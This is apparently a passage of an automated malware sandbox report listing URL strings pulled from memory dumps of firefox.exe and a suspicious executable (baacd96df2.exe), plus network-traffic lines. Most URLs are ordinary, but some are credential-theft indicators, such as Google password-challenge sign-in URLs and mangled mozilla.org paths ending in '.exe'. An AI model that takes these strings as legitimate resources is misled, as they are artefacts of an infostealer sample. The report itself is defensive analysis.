Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1932000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-maction
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1932000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#dfn-semantics
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1932000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/mathml-core/#the-mathvariant-attribute
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://watch.sling.com/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D284B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3337386294.000001C4D23D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2772332120.0000013831096000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000003.2765435963.000001383264F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2764988003.0000013830FAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000002C.00000002.3296807467.000001C4CE503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2766981094.0000013832665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mobilesuica.com/
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D1065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3137146408.000001C4CDA52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3304628202.000001C4CE903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3272705234.000001C4CE103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.2958821095.00000009B9A7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: firefox.exe, 0000002C.00000003.2906087365.000001C4DBB95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2908174577.000001C4DBBA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/Product
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000A57000.00000040.00000001.01000000.0000000A.sdmp, baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000A57000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D262A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BCD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDB5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: baacd96df2.exe, 00000009.00000003.2907415641.0000000023CC9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: baacd96df2.exe, 00000009.00000002.2948340376.0000000000974000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: firefox.exe, 0000001C.00000002.2778926258.00000207D44CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/j%N
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531BCD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/qK
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000002C.00000002.3296807467.000001C4CE503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D289F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3294994349.000001C4CE43C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D192D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/
Source: firefox.exe, 0000002C.00000002.3296807467.000001C4CE503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3349046160.000001C4D31AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000002C.00000002.3336560629.000001C4D2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3334360414.000001C4D2056000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3345787042.000001C4D2DED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000002C.00000002.3346708968.000001C4D2EE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001F.00000002.2778461593.0000026531AC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sig
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D1065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3012776521.000001C4C2100000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D263F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3337869790.000001C4D243F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D262A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3012776521.000001C4C20F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C235E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3337869790.000001C4D24D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3345787042.000001C4D2DED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C236B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.2776833677.00000207D4020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd$2r_
Source: firefox.exe, 00000019.00000002.2661048305.000001F7AAC09000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2666670167.000001B6EDE5F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002B.00000002.2820491703.0000021A1EC89000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3012776521.000001C4C2100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001C.00000002.2776833677.00000207D402A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd02rK
Source: firefox.exe, 0000001C.00000002.2778197765.00000207D4354000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776833677.00000207D4020000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777632012.00000265317A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778461593.0000026531AC4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3330248141.000001C4D1A90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3075408952.000001C4C3FE9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3075408952.000001C4C401E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000002C.00000002.3012776521.000001C4C2100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdb
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttp://mozilla.org/#
Source: firefox.exe, 0000001C.00000002.2778197765.00000207D4350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/sigt7

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
